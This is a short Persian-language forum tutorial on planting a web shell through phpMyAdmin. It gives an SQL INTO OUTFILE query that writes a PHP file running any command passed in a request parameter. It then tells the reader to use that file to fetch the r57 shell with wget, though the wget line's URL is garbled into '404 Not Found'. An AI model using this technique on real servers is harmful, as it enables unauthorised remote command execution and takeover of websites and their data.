سلام خدمت دوستان عزیز امشب تصمیم گرفتم این اموزش قدیمی و هنوز مفید رو برای شما اماده کننم
خوب برای شروع به phpmyadmin لاگین میشم

حالا روی Show MySQL system variables کلیک کنید

و بعد SQL

حالا ما می توانیم دستورات SQL رو اجرا کنیم ولی ما می خواهیم شل اپلود کنیم پس باید یه جایی از سرور برای خودمون کامند مخفی ایجاد کنیم
کد:
SELECT "<? system($_REQUEST['cmd']); ?>"
INTO OUTFILE "full/path/here/cmd.php
حالا روی Go کلیک می کنیم

حالا ما در مسیر site.com/cmd.php می تونیم دستورات خود رو اجرا کنیم می تونیم شل اپلود کنیم
به وسیله این دستور شل خود رو فراخوانی کنید بر روی سرور
wget 404 Not Found r57.txt shell.php

موفق باشید